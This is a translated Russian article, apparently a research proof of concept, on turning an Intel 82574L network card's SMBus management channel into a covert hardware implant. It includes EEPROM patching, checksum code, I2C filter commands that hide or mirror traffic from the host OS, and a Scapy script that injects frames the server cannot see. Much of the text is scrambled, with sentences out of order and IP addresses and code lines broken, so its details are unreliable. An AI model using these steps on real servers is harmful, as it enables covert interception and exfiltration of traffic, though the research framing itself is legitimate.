Главная » Железо » [Перевод] Делаем собственный имплант для электроники

[Перевод] Делаем собственный имплант для электроники

После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения). История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной.

Вот что конкретно подогрело наш интерес:
Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами.

Легальный сервер отправлял сообщения одним способом, имплант – другим, но казалось, что весь трафик происходит от одного доверенного сервера.

Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller – компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.

Начальная позиция

Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу – это интеллектуальный интерфейс управления платформой IPMI.

IPMI

Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.

На следующей блок-схеме показан возможный путь реализации проекта:

NC-SI – это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. Так что пока остановимся на SMBus. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом.

SMBus

SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I2C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (тактовая частота и данные), и третий сигнал — прерывание. Идеально подходящий для игр с имплантом протокол.

Первый контакт

Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» – как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.

Доступ к SMBus

Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?

К счастью, все они оказались доступными на контактных площадках. В документации можно отследить SMB_DAT и SMB_ALRT_N. Вроде бы всё достаточно легко.

Слева вверху – EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT].
NIC PCB. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.

Документация говорит, что SMBus включается только при установке определённого битового регистра. Мы подключили зонд I2C и просканировали SMBus, но ничего полезного не считали. Пришло время копнуть глубже. Это значение загружается с EEPROM.

Включаем доступ к SMBus

Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:

0-87-g9891b75-dirty on Linux 4. > ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1. 12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org
18.

done. Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash...

1 документации), видно, что нам надо изменить два значения: Судя по NVM map (глава 6.

  • Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
  • Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
  • Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)

Нужно только учесть, что в EEPROM данные хранятся в формате little endian.

В главе 6. После этого нам надо ещё разобраться со значением Checksum. 2. 1. Немного Python поможет нам подсчитать правильную контрольную сумму: 11 указано, что сумма всех слов в диапазоне [0x00-0x40] должна равняться 0xBABA.

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb

И вот, наконец, все наши изменения для EEPROM:

. < 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... 0. F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h..... Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k......... F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k......... Z.

0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e .......... < 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef .......... 0.....

После внесения изменений и прошивки EEPROM мы подсоединили I2C зонд и:

i2c1> scan
Device found at address 0x49
i2c1>

Адрес I2C кодируется в семи битах, требуемый нам адрес получается, как 0x49 << 1 = 0x92.

Мы можем отправлять команды в NIC: Теперь у нас есть рабочая схема для нашего импланта.

Получение информации

Как вы могли догадаться, мы продолжили читать документацию и отправлять специально подготовленные команды на NIC для проверки того, что всё работает, как ожидалось.

4. В документации описано всё, что нужно знать о формате транзакций, в главе 8. Разница только в том, что нам не надо подсчитывать PEC (контрольная сумма для SMBus, которая подсчитывается для каждого пакета). 4. К примеру, мы можем отправить команду CMD по адресу SLAVE, используя следующую последовательность:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] и [STOP] – это условия START и STOP, определяемые протоколом I2C.

8. К примеру, команда на чтение MAC-адреса (описанная в главе 8. 3) будет 0xD4. 2. Отправляем команду в SMBus в режиме I2C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

При переводе в команды Hydrabus это будет:

<== Read [length] [header]68 05 CA 89 B2 2E | h..... i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]07 D4 | .. <== Read MAC address bytes
NACK
I2C STOP

И, да, мы получаем наш MAC-адрес!

Делаем имплант

Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.

Отправка пакетов

Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:

import serial
import struct
from scapy.all import *

Serial('/dev/ttyACM0',115200) ser = serial.

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt) # I2C write-then-read.

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

31. #Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10. 82", dst="10. 32. 32. 31. 80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')

После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:


Tcpdump с машины атакующего слева, сервера – справа

Чтение пакетов

Фильтрация

Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:

  • Можно отслеживать трафик, поставив фильтр, который будет его проверять и перенаправлять на PCIe и SMBus.
  • Можно заставить трафик исчезнуть, направив его только на SMBus.
  • Можно создать скрытый канал, который не будет виден серверу с имплантом.

Что самое интересное, фильтр можно настроить на отслеживание различных элементов фрейма:

  • UDP/TCP port
  • VLAN
  • IPv4 – IPv6
  • MAC address

(Полный список представлен в главе 8.4.2.1)

4. Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8. 3).

Реализация

Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.

Используя наш I2C-зонд, мы можем настроить всё это четырьмя командами:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

8. Как описано в главе 8. 3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. 1. 4. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8. 5).

Чтение фреймов

Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.

Схема выглядит так: Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение – просто, чтобы подтвердить, что этот принцип работает.

  • У сервера с имплантом установлены фильтры, отслеживающие трафик с UDP / 623 (глава 3.6.1.2).
  • Имплант симулируется при помощи Hydrabus.
  • Другой сервер отправляет пакеты, попадающие под фильтр, при помощи скрипта Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)

Получается нечто интересное:

Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов. Слева SMBus читает фрейм, данные фрейма показаны внизу.

Ретрансляция фреймов

Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

При этом сервер отвечает на запрос – а значит, пакет был правильно перенаправлен на SMBus и PCIe: Включив фильтры, мы можем отправить SNMP-запрос на сервер с имплантом и увидеть пакет, который перехватил имплант.

Внизу — SNMP-запрос дошёл до сервера.
Вверху – перехваченный SNMP-запрос с импланта.

Заключения

Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:

  • Прослушивание входящего сетевого трафика на сервер.
  • Получение команд из сети без ведома сервера.
  • Передача данных по сети без ведома сервера.

В нашем примере для простоты в качестве интерфейса для I2C/SMBus использовался Hydrabus, но это можно будет сделать так же легко и на небольшом микроконтроллере, например, ATtiny85 (он размером примерно с EEPROM для NIC).

В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.

Кроме того, имплант способен перехватывать только трафик, приходящий из сети. Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Получаем музыку Вк через сторонний API

В этот раз дело начиналось после закрытия методов audio в методе execute. Я решил посмотреть, как получают музыку сайты, которые предоставляют возможность ее скачать. Меня заинтересовал сайт vrit.me. Я залез во вкладку network и увидел интересный запрос: То есть, можно ...

Sharp наделила новый смартфон дисплеем с двумя вырезами

В середине января в продажу поступит весьма любопытный смартфон Sharp, получивший название Aquos R2 Compact. Применён качественный дисплей IGZO с диагональю 5,2 дюйма. Аппарат имеет довольно компактные по нынешним меркам размеры. Разрешение составляет 2280 × 1080 точек (формат Full HD+). В верхней ...